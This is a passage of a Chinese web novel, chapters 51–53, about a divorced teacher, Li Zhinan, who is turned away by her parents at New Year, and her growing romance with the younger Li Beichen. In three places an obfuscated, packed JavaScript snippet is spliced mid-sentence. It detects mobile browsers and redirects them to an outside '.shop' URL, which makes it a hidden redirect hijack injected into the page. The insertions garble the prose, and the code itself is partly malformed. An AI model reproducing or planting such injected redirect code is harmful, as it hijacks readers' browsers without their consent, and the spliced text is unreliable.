腊月二十九,李知难和宋乐商量着今年过年的安排,宋乐道:“要不然皮皮还是跟你回姥姥姥爷家吧。” 李知难摇了摇头。往年她都在宋乐家过年,李知难爸妈早已经习惯和自己的兄弟姐妹们欢聚一堂,一齐吹嘘着儿女的功成名就。今年如果自己领着孩子回去,那些功成名就都会变成巴掌狠狠打响自己父母的脸,而平时听惯了他们吹嘘的亲戚,也必然不会在这个时候选择视若无睹。她不想带皮皮经历那些她自己都不愿经历的场面。 “那你自己回去……”宋乐有些担心,他了解李爸李妈的性格,至少从他们之前给自己的电话中,他明白他们无法接受离了婚的李知难。 李知难道:“我可以的,带皮皮去陪爷爷奶奶吧,我初一去接他。” “初五可以吗?”宋乐问道。 “怎么?” 宋乐说出了自己的打算:“要是这样的话,我想带他们去趟三亚,在北京过年,亲戚往来走动,我也担心他们不舒服。” “你问过皮皮了吗?”李知难问道。 “他说可以,但是初五要回来,他们足球队有个聚餐。”宋乐道。 “好,那你们什么时候走?” “可以的话,我现在就买票,越早越好吧。” 李知难帮皮皮收拾了行李,看着孩子欢天喜地地和爸爸离开,心里多少有些不是滋味。离婚的缺点总像是挤牙膏似的,偶尔这里冒出来一点,那里鼓出来一些,虽然不伤大雅可也多少膈应,像是皮肤突然起的痒疹,牙齿莫名其妙的阵痛,轻到没必要去看医生,可又结结实实地让人难受。 李知难自己打扫好房子,给妈妈打了电话。 “那你明天早点来,中午就过来吧。”那边的李妈妈回道,“皮皮不来?确定不能来吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617663|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。”她答。 除夕当天,李知难先去商场买了些礼物,左挑右选又觉得不够,折腾了大半天才买完。等她拎着大包小包回到家时,已经是下午三点。 李爸爸问道:“皮皮去哪了?” “跟爷爷奶奶去三亚了。” “人家倒是会躲,咱们躲到哪?”李爸爸没好气道。 李知难没理会他的阴阳怪气,想着过个平和年,就道:“菜弄好了吗?我帮忙打下手吧。” 李爸爸在外面看电视,李妈妈和李知难在厨房一直忙碌饭菜。 五点,晚饭提前吃完了,天才刚擦黑,李爸爸突然给李妈妈使起了眼色。 李妈妈道:“好,年夜饭也算吃完了,我们俩得休息了,你也早点回去吧。” 李知难诧异道:“今年舅舅姑姑他们不过来?” 李爸爸还是那个口气,答:“哪有脸叫人家过来,今年不来了。” 李知难拿起了桌子上的橘子,边剥边回道:“我回去也没事,我再陪你们多待一会儿。” “不用了,我们俩困了,你回去吧。”李爸爸冷脸下着逐客令。 李知难不解:“困了?每年不都是守岁到十二点?才五点就困了?” “今年不守了,你赶紧回去吧,一会儿天就黑了。”李爸爸也不解释,仍旧是这套说辞。 李知难察觉到妈妈眼神里的不对劲,问道:“为什么赶我走啊?你们一会儿是有什么事吗?” 李妈妈答:“我们能有什么事,我们就是累了,想睡会儿觉。” “那你们睡吧,我收拾。”她起身,准备收拾碗筷。 “你就跟她说实话吧!”李爸爸在旁,看着外面的天色,不悦地对李妈妈命令道。 “什么实话?” 李妈妈凑过来,道:“知难,嫁出去的女儿不能在除夕夜看到娘家的灯,这样不吉利。” “哪的说法?”李知难心里突生了一股子火气。 “一直都是这个说法,你爸信这个,你快走吧,一会儿天黑下来就晚了。”李妈妈好言好语地劝道。 “我不走,这是我家……”李知难执拗着脾气。 “怎么,今年没气死我,想在过年的时候克死我?”李爸爸没好气道,“能在今天让你回来就不错了!你别不知好歹!” 李知难也不知道为什么,不过是离了个婚,自己突然就连在家里待着的资格都没有了。 “难难,大过年的,别气爸爸了。”李妈妈在旁软声道。 “行。”她无奈起身,“好。” 外面万家灯火,她在楼下看着父母家里阳台上那盏昏昏黄黄的小灯,映着周围一片红色的团圆喜庆,边往外走,眼泪不由自主地就流了下来。 本来离婚的时候也做好过心理建设。家里的压力,亲戚的反应,这不过是一样一样地应验了而已。她抹着泪水安慰自己,明明都是预料之中的事情,干嘛还要在这儿哭哭啼啼的。 这种眼泪流得没有价值。她在心里一遍一遍地和自己说,李知难,不要哭。 回到小区门口,执勤的保安热情道:“过年好啊。” 李知难答:“过年好。” 她鼻子不由再次酸了起来。简直可笑,今年的第一句拜年话,竟然是从陌生人嘴里听到的。 她才将车停好,突然感觉到手机传来震动。 新年快乐。是来自李北辰的信息。 她看着那四个字,有些好奇他是如何准确地掌握住自己人生里每个低潮点的。 谢谢。她回。 在做什么? 在车里待着。 李老师,有什么新年愿望吗? 想看烟花,但是北京市不允许放烟花。 你允许就行。 51. 电视台风波 月牙弯在天空正中时,李北辰风尘仆仆地出现。 “去哪?”李知难看着他紧紧拉住自己的手臂,心里有些打鼓。 “去看烟花啊。”他穿了一身红色的衣服,映得那张脸格外白。月光下如朗月的男孩,带着他如星辰的眼眸,跟她说要带她去看烟花,她找不到任何理由说不。 “你是在我身上装监控了吗?”车上了高速,李知难不由好奇问道。 “你相不相信命运?”李北辰笑着看她。 “狗屁。”她稍稍向后调了调座椅,试图找到更舒适的姿势。车内的空调散着让人昏昏欲顺的暖意,她很快睡了过去。待她醒来时,天已经擦着边亮了些。 “到了。”李北辰转头看向她,似乎一直在等她醒来。 “这是哪儿?” “不重要。” “我们来这儿干嘛?”她懵懵地问。 “你忘了?”他眼睛噙着笑意,“来看烟花啊。” 李北辰不知道从哪里变出来的烟花,他将烟花摆放好,在海滩上点了起来。 焰火映着黎明前欲出未出的光,肆意绽放在天空,映照在海洋,像是对那颗藏在地平线下的太阳,不值一提却又用尽全力的叫嚣。 看啊,看我的绚烂,看我的璀璨,看这天地之间被我点燃。 李知难看着眼前的景色,表情复杂地看着眼前的人。他不停地向前跑,点燃一束又一束的烟花,却不曾停下一刻回头去看这世界因他而改变的样子,他跑起来像是肆无忌惮的小男孩,执着向前。然后他停了下来,背对着烟花,面向着自己,颀长高挑,肩宽腿长,变成了能让人意乱情迷的彻头彻尾的成年男人。 他到底是个什么样的人?自己真的有了解过他吗?李知难看着烟花盛开下好看的男人,心生感慨。 “新年快乐。”李北辰对着她喊,声音夹杂着海浪声和绽放声,敲击着耳膜。 “你已经说过一遍了。”她道。 “可你还没有。”他一脸期待地看着她。 “新年快乐,李北辰。”她温声道。 李北辰走向她,面对着她,微微弯起腰,紧紧盯着她的眼睛:“李老师,我能向你要一个礼物吗?” 李知难的心咚咚地跳,她看着那张忽明忽暗的脸,思考都没来得及,喉咙间不受控制似的哼出了一声“嗯。” 她料想到会发生什么,她甚至,期待着会发生什么。李北辰亦如她所料地靠近,愈来愈近,直到海风的气息全然变成了他的温热,她缓缓地闭上了眼睛。 只听耳畔传来他温柔清明的声音,唤她:“知难。” 大年初一早晨,酒店里的李知难被连环电话吵醒。 “知难,你在哪?”电话那一段的李妈妈焦急道。 “什么?” “我们在你家门口,我和爸爸,怎么家里没人?”李妈妈急声道。 “您怎么去我家了?”她没反应过来。 “那除夕的规矩初一又没有了,我们来看看你啊。”李妈妈也不好直接为昨日的事情道歉,可到底是自己的女儿,让她吃吃离婚的苦头也不过是为了能帮她认清现实,早日回归家庭。但一大早女儿突然不见,反倒吓坏了她。 “我……在外地。”她含糊答。 李妈妈警觉道:“去找皮皮爸爸了?” “呃,嗯。”她只得含糊回应。 只听那边一阵悉悉索索,接下来是老太太喜气洋洋的声音,交代着:“好好好,好好玩啊,回来告诉妈,注意安全。” 她起身洗漱,没多久门口也传来敲门声,李北辰在门外试探问道:“醒了吗?” “嗯。”她打开了门。 “去吃早餐?”他提议道。 “好。” 餐厅在二楼,二人一前一后地走出电梯,李知难莫名觉得这画面有些暧昧,甚至她有些不好意思。分明没发生什么,怎么搞的像是什么都发生过了一般? 她低头思索着向前走时,对面推着餐车的服务员直冲冲地向她过来,李北辰下意识开口提醒:“知难小心。” 她被这两个字定在原地。 餐车由于惯性来不及打弯,李北辰急忙上前搂住了她,转身将她护在了胸前。 “你……你叫我什么?”她小声问。 “知难。”他搂着怀里的人,微笑着又叫了一遍。 “没大没小。”李知难尴尬地斥道,顺手从他怀里逃了出来。 身后的他却笑得多了分得意。 早饭结束,李知难询问道:“是不是该回去了?” 李北辰点了点头,心里却在盘算着别的心思。 手机突然响了起来,李北辰看了看来电显示,用嘴型解释了电话对面的人。 奚西在电话那边紧张道:“师哥,你能不能帮帮我?” “出什么事了?”李北辰看着李知难,见她也是一脸关切,便直接摁下了功放键。 奚西急声道:“晚上孩子们演出,你能不能过来一趟?” “奚西,别着急,怎么了?”他听着她那边有些语无伦次,出声安慰。 “师哥,你能不能过来一趟?”她在那边急得声音像是要哭出来。 李知难轻轻握了握李北辰的手臂,向他点了点头。 “好。”李北辰应道。 二人迅速开车返回北京,李北辰见她的态度,还没来得及邀请,李知难抢先一步开口道:“一会儿我想和你一起去。” 她知道奚西虽然平时会像小女孩一样撒娇,可是大事面前她不是怯场的人。如果不是发生了超出她解决能力的事情,她断然不会着急成那个样子。因此她不能假装不知道这件事,事有轻重缓急,现在这件事就是最重最急的。 电视台的后台不比那日的红五月后台好多少,人员急匆匆跑来跑去,各个节目的演员在一边做最后准备,一片纷乱。 李知难道:“咱们怎么进去?” 李北辰答:“我联系可能音乐的助理了,一会儿他带工作牌过来。” 李知难意外道:“你不是离职了吗?” “我的脸还是有点用的。”他挑着眉毛看她,回答道。 李知难自然知道他长了张好用的脸,却从没想过他也会真的用起这张脸,而且用得这么顺手。 李北辰又补充道:“我是说,我在员工之间混了脸熟,帮着点小忙不算什么。” 李知难轻声应了,总觉得刚才那话是他故意让自己误会的。 二人在助理的带领下来到了准备室,学生们已经在另一边的化妆室进行准备中,奚西似乎是被人单独拎出来放到这里的。 李北辰进屋看到角落里小鹌鹑一样的奚西,问道:“怎么了?” 奚西红着眼睛,看他二人过来,更是瘪起了嘴,回道:“她们说指导老师不能写我的名字,必须写可能音乐的人,后面的送选单位要填可能音乐,所以我想让他们写你的。” “我?”李北辰有些意外。 奚西委屈道:“我给陈校长打电话了,陈校长说他也没办法,送选单位是提前定好的,我不是可能音乐的人,我的名字不能出现在电视上。” 李知难上前搂住了她,轻轻安抚着她的委屈。 “但是,师哥本来就是我们一起的,如果是你的名字,那我就可以接受。”她认真地看着他。 李北辰在她身旁坐下,询问道:“奚西,名字这件事有这么重要吗?” “有。”她半是赌气半是认真的回答。 “好,那你稍等一下,我去交涉。”李北辰将她二人留在了休息室,自己出去了。 李知难帮奚西擦了擦眼泪,问道:“奚西,究竟是怎么回事?” 奚西:“知难,你是不是觉得我有点小题大做?” 李知难摇头道:“我知道你不是那种人,要不是真的受了委屈,你也不会这样。” 奚西指了指外面正在对着学生们颐指气使的女人,道:“谁的名字都行,她的不行。” 李知难顺着方向看过去,不远处站着一位身穿高级定制的女性,三十左右的年纪,模样和气质在一众演员歌手间依然出类拔萃。 “她叫魏然。”奚西停顿了一下,“是陈亦童的人。” 李知难看着外面的人,道:“你是因为她?” “今天带队的人除了我就是她,所以刚才她说要写她的名字,”奚西不服道,“凭什么?她不过是凭借着和陈亦童的关系,在这里对孩子们指指点点,凭什么要把这一切都算作是她的功劳?那我这么久的努力付出算什么?” 中秋晚会后,节目顺利选送北京台春晚,她和陈亦童的关系也在此时陷入僵局。应对如此重要的晚会,对大家都是考验。剧本被电视台要求改了无数回,孩子们一遍又一遍地排练,争取做到完美。他们一路过关斩将,无数次等待着害怕着电视台的消息,最终才一起迎来了这样的机会。 消息确定后的第一次排练,魏然踩着高跟鞋,高傲地介绍道:“以后你们就是我负责的项目了。” 奚西猜测,是因为自己和陈亦童的关系发生了变故,他不想看见自己,就派了别人来负责她的节目。 “我们不是陈副总负责的吗?”她小心询问。 魏然撇了撇嘴,道:“你们这么点小事,不值当我们陈总亲自来。” 奚西看着学生们仍在流着汗的脸庞,不服气道:“节目确实不大,但是我们也是北京台的送选节目。” 魏然低头看她:“你知道可能音乐一年大小活动有多少吗?别说地方台节目,就算是中央台,也从来没劳烦过我们陈副总亲自负责。” 她轻哼了一声,嘲讽她的没见识,然后一整天都没有看到人影。 午休时,一向准时的午饭却意外地迟迟不来,孩子们饿过了劲儿,奚西只能自掏腰包给大家定外卖。 奚西去找魏然理论,却在办公室听到她不屑地嘲讽着自己:“听说当初陈总一百多万买音响,就是送她的。看她之前的架势,还真以为是未来陈总夫人呢,没想到这才多久陈总就玩儿腻了。也好,总算不用伺候这位大小姐了,反正这破事安给我,我一律公事公办,绝对不会给她当丫鬟。” 那之后,原本正常的行政内容都多少变了味,越来越差的餐食,经常和其他人时间冲撞的排练室,甚至是可能音乐工作人员对孩子们的态度,都肉眼可见地透露着对他们的情绪。 奚西还是没忍住,去找魏然当面对质,然而可能音乐并不是和她讲理的地方,她渐渐意识到之前的顺利都是因为陈亦童的优待,而现在的不顺利,更像是陈亦童给自己的警告。 “送餐晚点我可以解决,其他的小问题我也可以自己解决,”奚西道,“但是我没想到她这么过分。定演出服时她以次充好,擅自做主定了一批质量非常差的。我和她争论,你猜她说什么,她说:‘要是看不上那就自己去定啊,反正你不是最擅长自掏腰包了吗?’” 奚西低声道:“我知道,这些都是陈亦童让她这么做的,无非就是针对我,想让我认清自己几斤几两。” 李知难小声问道:“你跟陈亦童谈过?” “我因为这件事去找过他,”奚西自嘲道,“你猜他说什么,他让我自己去解决,他说他不是我的保姆,不能什么事情我都要指望他帮我做。简直可笑!如果不是他从中作梗,我需要这么费劲吗?” “可他为什么要这样?” 奚西道:“因为他想让我看清楚,我自己有多渺小。” “这话从何说起……”李知难不解。 “寒假之前,他让我去可能音乐,我拒绝了。”奚西道,“他想让我知道,一个高中音乐老师,什么都不是。所以我不想输,不想让他指着电视上魏然的名字,来告诉我我的职业有多渺小,我的人有多微不足道。” 她的眼睛因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629905|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪起伏再次红了起来,眼泪从眼眶中像线珠般往下流,李知难还没来得及开口,门被打开了。 “师哥,怎么样?”看着走进来的李北辰,奚西紧张道。 李北辰看着她,忍不住语气带了几分柔软:“怎么为了这么点事,还哭起鼻子了。”他从口袋中拿出纸巾,小心地递了过去。 奚西接过,又问一遍进展如何。 李北辰答:“放心吧,一定会写你的名字。” 奚西愣道:“可是……” “如果名字对你很重要,那么你的名字就应该出现在屏幕上,因为奚西,你付出了很多的努力,你值得拥有你想要的回报。”李北辰温柔地看着她,“别哭了,没事了。” 奚西本以为,按照李北辰的性格,会劝她不要在乎这些虚名。李北辰在学生时期,作品曾被师兄剽窃拿去参奖,师兄声名鹊起后一度造谣李北辰总爱偷听他的demo以混淆视听。当时她们这帮师弟师妹都为他抱不平,可李北辰毫不在意。奚西问过他,怎么能够这么平静地看自己的作品被人偷走,李北辰那时的表情,让她想到了超脱的仙人。他说,没人能偷走他的作品,因为那是在某个时刻,他与世界的共鸣。无论外界的理解如何,他自己知道,每一次他的音乐被人听到时,听到的都是那一刻属于他的声音。 可清风朗月的他,现在为了自己去争夺那些虚名,因为她说“有”。 奚西控制不住情绪,整个人扑到了李北辰怀中,哭得更加凶了。 李知难在旁看着她,忍不住心疼,这样执拗却单纯的孩子气,成年人身上难得一见。 “谢谢师哥。”她一遍又一遍地说着。 李北辰小声道:“奚西,不用谢我……” 话音未落,谁也没注意门口男人大步流星地走过来,像是一阵风一般,几步上前,不由分说便把他二人拉开,接着对着李北辰的脸狠狠地挥了一拳。 李北辰嘴角流着血,整个人踉跄倒地。 众人都在震惊之中,还没回过来神。 “你干什么!”李知难下意识便冲了过去,将李北辰围在身后,对陈亦童吼道。 “李北辰,我警告过你,让你离她远一点。”陈亦童扯着自己衣领,显然并不把李知难当作什么阻碍,也没有善罢甘休的意思。 李知难起身,小小一只挡在他面前,狠狠道:“你以为你是谁?你凭什么跟他这么说话!” “你管我是谁?”陈亦童早就不知道理智被扔到了哪里,气道:“我今天就是要揍他!” 他才上前一步,李北辰本下意识打算护住李知难,却不知道她是什么时候起身的,什么时候离开的,她像是被激怒的母兽,紧攥着拳头,向着比自己高出一头的陈亦童抡圆了挥了过去。 时间像是冻结了一般,大家都愣在原地一动不动。 李知难转头,对外面的安保人员道:“你,报警。” 安保人员一时也没回过神,这位施暴者此时是在要求自己报警? 李知难态度坚定道:“就是你,报警,现在!立刻!” 赶来的执行导演是内行人,见状急忙将安保人员拉到了一边,嘱咐几句后又过来劝和道:“这晚会就要开始了,别在这个时候闹,有什么事咱们自己说。” 李北辰急忙上前,将李知难一整个捂在自己胸前,虽一言未发,但眼神倒也透露了一切。 导演见状赶忙将休息室的门关上,遣散了周围一脸蒙圈的围观群众。 “都是自己人,咱们别在今天这个场合出乱子。”导演道,“你们的学生还在那边呢,这闹大了可不好,有事咱们说事,不至于的啊!” 陈亦童捂着脸,扯了把椅子坐下,看着另一边奚西上前询问李北辰的情况,脸上的表情愈发难看。 “你们这是什么情况啊?”导演两头看,也没搞清楚。 “你出去吧。”陈亦童冷声在人家的场合下着逐客令。 导演还想再说,但看他阎王似的表情,老老实实地做了识时务的俊杰。 “所以,就是他是吧?”陈亦童看着对面的人,冷声道,“你一直喜欢的人。” 奚西在旁边涨红了脸,半晌开不了口。 李知难看向陈亦童,厉声道:“你先道歉。” “我为什么道歉?”陈亦童狠着脸回。 “因为你打他了。”李知难毫不退缩。 “那是他该打!”陈亦童还嘴的水平,倒不比皮皮高明多少。 “他该打?你觉得是他破坏了你和奚西?”李知难道,“你别太可笑了。像你这种自私自利的人,你现在的一切都是你自己咎由自取。” 奚西拉了拉她的手,示意她别再说了。 李知难罕见地失去了理智,斥道:“李北辰从来没有破坏过你和奚西,破坏你们两个人的从始至终都是你自己。陈亦童,是你伤害了她,是你辜负了她,是你配不上她。像你这种精致的利己主义者,只在乎自己的利益,自己的对错,从来不会为别人着想,你最大的问题不是外界,而是你自己!所以你注定得不到幸福,得不到别人的爱,注定孤苦终老一辈子!没有人会拿自己的真心填补你这个空虚得永远都填不满的漏洞,你从心里就烂掉了,所以你只配和那些想要钱想要利益的女人花天酒地,因为她们也知道,你除了这些一无所有,你不过是个没有灵魂的行尸走肉!” 陈亦童被骂得愣住了,他眼神恍惚地看向奚西,像是求救一般,希望她告诉自己,李知难说的是错的。 李知难拉住了李北辰的手,狠狠地攥着他的手,带他离开。走到门口时,却像是仍没有尽兴一般,回头道:“还有,奚西喜欢谁我没资格替她回答,但是李北辰喜欢的人,从始至终都是我。” 她眼眸冰冷得像是能杀人:“你的行为你的思想,和你这个人一样,都很可笑。” 说罢她拉着他向前走,像是要带着他共赴不回头的未来。 52. 想不想去滑雪 车内,李北辰看着胸口仍在剧烈起伏的她,嘴角忍不住微微上扬。刚才那一幕幕还在眼前,但又仿佛一场不可思议的梦。他忍不住笑,就算是为了配合她的愤怒好几次硬压嘴角,也完全压不住的想要笑。 “医药箱呢?”情绪缓和后,她没好气地问。 “不用的。”李北辰抿着嘴答。 “医药箱!”她喊了声。 李北辰立刻老实回答:“后备箱里有。” 李知难下车,去后备箱拿出了医药箱,又再次回到车上,熟悉地摁着他的头帮他处理起伤口。 “你这也算是一回生二回熟了。”他低声道,想到上了上次在车里的情况。 “闭嘴。”她没好气地回。 “知难,”他低声喊她的名字,“你生气了?” “我没有。” “你生气了。”他确认道。 “不是,陈亦童有病是不是!”李知难再次被刚才的情绪笼罩,想到那个人,她就忍不住拳头发硬,气呼呼道,“冤有头债有主,他自己在外面花天酒地跑你这儿散什么德行!什么玩意儿!” “疼。”她手下力气也跟着重了些,李北辰吃痛喊道。 “我……我轻点。”她反应过来手下的人并不是陈亦童,而是可怜巴巴的李北辰,立刻抱歉地说。 “知难。”他又叫了她的名字。 “嗯?” “是从什么时候开始不高兴的呢?”他抬着眼睛,巴巴地看着她。 “什么?” “是从他打人?从听到了奚西的委屈?还是从除夕那天就开始了?”李北辰试探地问。 李知难的手僵在了原地。 “除夕发生什么了?”他轻声问。 原来,他一直都知道。 也对,李北辰向来在看自己的心事这点上,颇有天分。或者,当日自己的表现,就算是再没眼力见的人,也能看出端倪。他昨天什么都没说,只是选择陪在自己身边,叫她许愿,然后去满足她的愿望。 成年人的愿望很多,能够实现的却很少。她已经不记得上次说出的心愿能实现是什么时候,或者下一个心愿能够实现的可能又有多少,然而她拥有了当下,因为他,她切切实实地拥有了一个被实现的愿望。 李知难的心再次软了下来,和着一起软的,还有她竖起的防备。 “我被自己父母赶出来了,因为离了婚的我没有资格在家里过年。”她低声缓缓说道,“所以我第一次自己一个人过年,活了这么多岁,才发现原来自己不过是离个婚,就突然一无所有了。我知道,我不是真的一无所有,但是在那个晚上,我确实是这么觉得的。” 李北辰愣了一下,道:“我给你放首歌听。” 他从手机中选了半天,找到了那首名字叫做Demo630的曲子。 车内只有钢琴的声音,那曲子中呜咽又伤感的音符在钢琴键中一个个蹦出来,然后又流畅地组合在一起,像是一场越下越大的雨,阴霾了整个城市,仿佛世界在这一刻都只剩下潮湿。 李知难眼睛微红,她看向他,道:“这是你难过的时候写的?” “这是我最难过的时候写的。”李北辰答,“那天,不只是一无所有,我甚至觉得死亡都是不错的解脱。” 李知难拧着眉头,自己都没有意识到当下她眼里防备不住的心疼。 他看向她,道:“但那也只是一天,或者只是那一段时间。悲伤是仁慈的,它远比快乐仁慈许多。” 李知难看着那曲子的名字,突然反应过来,六月三十号。“这是……我结婚的日子。” 李北辰的眼神清澈,道:“今天是一月三十号,你说,李北辰喜欢的人,从始至终都是你。也许那天的我觉得自己一无所有,但是今天的我,觉得我拥有了全世界。” 他看着李知难僵在原地不动的样子,鬼使神差地吻了上去。 他本是克制地覆在她的嘴唇上,试探的,小心翼翼的,带着颤抖。 李知难的呼吸停住了。也许是心跳跳得太快,所有的血液都被泵得激涌,像是拍打着乱石的惊涛,忘记了应该流向的地方。眼睛忘了闭上,鼻子忘了喘气,手忘了将人推开。 直到氧气耗光,她粗重地想要汲取新鲜空气。空气在嘴唇缝隙潜入,被火急火燎的肺腔用力向内拉扯,便在喉间擦出了一声若有似无的幽咽。 车内顿时春意盎然。 李北辰的大脑来不及思考,这声短促便如同咒语,驱使着他的身体,他将手覆在李知难脑后,用尽力气将她揉在怀中,趁机长驱直入地深吻了下去。 理智被本能驱散,道德被欲望覆盖。 黑暗中,只剩下喘气声。 良久,他才将李知难松开。 此刻李知难的脑子很乱,迟来的理智再次拉扯起她的防备心,那堤防已经被攻陷得破破烂烂,可入眼处残骸满地,她便不敢再往前一步。这时候该说些什么?冠冕堂皇的话太多了,一时间不知道该选哪一个。她不敢抬眼去看他,因为知道自己的卑鄙,以及接下来自己要带给他的痛苦。 黑暗中,他的声音缓缓响起。那声音含着迫切,又满是请求。 “知难,我不需要什么身份,你能让我一直留在你身边吗?”他轻声道,“只要答应我这一件事就行。” 李知难突然眼睛就红了,他卑微的口气,让她想到了那个夏日,在青岛年轻躁动的海滩上,那扇不停挥舞的旗帜。 去相爱吧。 去相爱吧。 去相爱吧。 旗帜在人群中翻腾,像是一遍又一遍地和这个世界怒吼着这四个字。 李知难没来由地摸了摸他的脸,那张好看的年轻的脸,出声道:“你想不想去滑雪?” 次日,二人驱车前往崇礼。冬季的滑雪场内一片白雪皑皑,李知难看着他一身青绿的打扮,像是这冬日里一颗耀眼的小青草。 “你会滑雪吧?”她问。 “不会。”他回答得理直气壮。 李知难一脸“你在逗我”的表情看他,笑道:“那你还来?” “你叫我来的。” 李知难有些无措,声音也柔软许多:“我是问你想不想,你要是不会,我们换一个活动不就行了?” 他有些愣在原地,坦白道:“我……不知道还有这个选项。” “李北辰,既然要做朋友,你是不是应该学着和我平等相处?”她看着他,像是对待同龄人一般的看着他,像是对待同龄的男人一样,看着他。 李北辰轻声答:“好,我学习能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629906|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很强的。” 李知难给了他一个轻视的眼神,道:“你的学习能力,我可是知根知底的,中等……偶尔偏上。” 李北辰扯出了个灿烂的笑容,映着雪山的白和正午的骄阳,灿烂得让人眼睛疼,“可是,我很擅长坚持。” 隔着厚厚的手套,李知难面对面地拉着他,引导着他从初级道上一点点滑下来,他摔了一次又一次,倔强着一次又一次地重来。 最后就连看着他的李知难也有些替他疼了,小声道:“要不还是雇个教练吧?” “你这个教练就很好。”他起身拍了拍身上的雪,顺手抬起了头盔上的风挡,好能讲她的话听得更仔细。 “我是英语老师。”李知难无奈道。 “有教无类嘛。” 李知难顺手拍了下他的胳膊,道:“这词是这个意思么!” “我有点后悔当初没有好好学滑雪了,”李北辰看着她,口气颇有几分遗憾:“我在想,要是我们换一下,我来教你,可能会效果更好。” “当然了,我学习能力一直很强。”李知难有些骄傲地回道。 “不是这个,”他摇头,“你会为了不摔倒,努力保持平衡,可我不行,这对我不公平。” 李知难有些不解,但看着两人面对面手拉手的姿势,她方才想起来,他几乎每次都是将自己重重地摔在后面,哪怕严重失去重心,也没有朝她这个方向摔下来。对于一个初学者,她也不知道这样的摔法究竟是天赋异禀还是天赋太差。 “你不用怕压到我,好好学就行。”她小声答。 “你以为我是怕压到你?”他挑眉。 李知难突然反应过来他的意思,眼睛无措地瞄遍了周围,就为了躲开他的视线。幸好头盔和面罩把她的脸遮挡得严严实实,才不至于被他看穿。 “不滑了,”李知难收起了拉着他的手,“请我喝咖啡去吧,算是教练费。” 李北辰突然失去了支撑,不过是一双并没有太用力的手,他却如被小雪花压了一下的山隘一般,整个人倒向了李知难的方向。李知难下意识地抱住他,却感觉到怀中的男孩因为笑而抖动的身体。 “你……”她还没开口,李北辰突然伸手敲了敲她的头盔,再次拉起了她的手。 “怎么能说放就放。”他假意责怪,口气满是亲昵。 “我……”李知难再次将话赌在了喉间。 “拉我下去。”他半是命令,半是央求,连李知难都不确定他是如何将这两种情绪揉合在一块的。 她嗓间才发了个不明确的声母,李北辰一只手捏了捏她的手,另一只手将头盔一整个拿下来,汗水微微挂在他乱草一样的头发上,他半张脸被面罩挡着,只有那双眼睛,露在外面真诚而明亮地看着她。 这样的他,好看得过分了。 她莫名地有些看怔了。 “知难?”他小声叫她的名字。 “怎么这么晒。”反应过来自己的失态后,她急忙眯起了眼睛找补理由,左瞧右看着假装忙,最后因为实在编不出新的借口,只能选择拉着他另外一只手滑下去。 “帅吗?”她听到身后的声音顺着风,呼啸着扫过耳朵,明明隔着头盔,简单两个字却像是咬在了她的耳朵边,咬得半张脸都悄悄地泛起红。 53. 本心 寒假最后几天,李知难将之前从王总那里学来的几套理论告诉曲子格,难得平日里看书就困的曲子格今天能像是优等生一样,笔记记了一大本。 李知难和她商量着问题,遗憾道:“我说得可能还是太浅显,改天你要不要请教一下这个王总,我觉得他挺有东西的。” “别改天了,今天吧。”曲子格将笔记本合上,道:“我这个人是交流型人才,不是教学型的。” 曲子格的脾气急,想一出是一出,但是眼下这件事确实迫在眉睫。李知难敲着手机,有些犹豫。 “不方便?”曲子格试探问道。 “也不是,”她答,“不是我的朋友,李北辰的。” “那四舍五入就是你的朋友了。”曲子格怂恿道,“问问小李同学,万一人家今天有空呢,没有的话定个其他日子也行啊。” 李知难:“他最近在忙。” 从滑雪场回来后,李北辰最近陷入了繁忙的工作,就连前两周的钢琴课他也取消了。以李知难对他的了解,如果不是真出了不能脱身的事情,他不会这样。 “知难,你听没听见你这口气?”曲子格嗅着八卦的味儿就来了。 “我什么口气?” “人妻的口气。”她答。 李知难的表情突然变了,尴尬瞬间填满了整张脸。 曲子格意识到自己话说得不对,这两个字也许听在别人耳朵里无伤大雅,但是李知难的经历,她和李北辰的身份,这两个字少了那些调侃,多了些讽刺意味,她忙道:“我不是那个意思。” “是也没什么错,我确实做了很多年别人的妻子。”李知难出声道。 “知难,你……介意这件事吗?”她试探问道。 “我不知道。”李知难诚实回答,“我作为李知难是不介意的,但是如果作为李北辰的什么人,我不知道这会不会让我有自卑的心理。” “你凭什么自卑,你这么漂亮,能追上你是他小子的福气!”曲子格仍旧是那副一心一意李知难的态度。李知难从小就长得漂亮,她精致的五官和挺拔的身材,无论在什么时候都不难成为人群的焦点。但是不知从何时起,李知难对这件事的态度变了。她从前炫耀自己的漂亮,欣赏自己的漂亮,满意自己的漂亮,到现在,她偶尔会庆幸自己还会被称为漂亮,偶尔又会反感别人说她漂亮。 当然曲子格的夸奖是真心实意的,这点她从不怀疑。 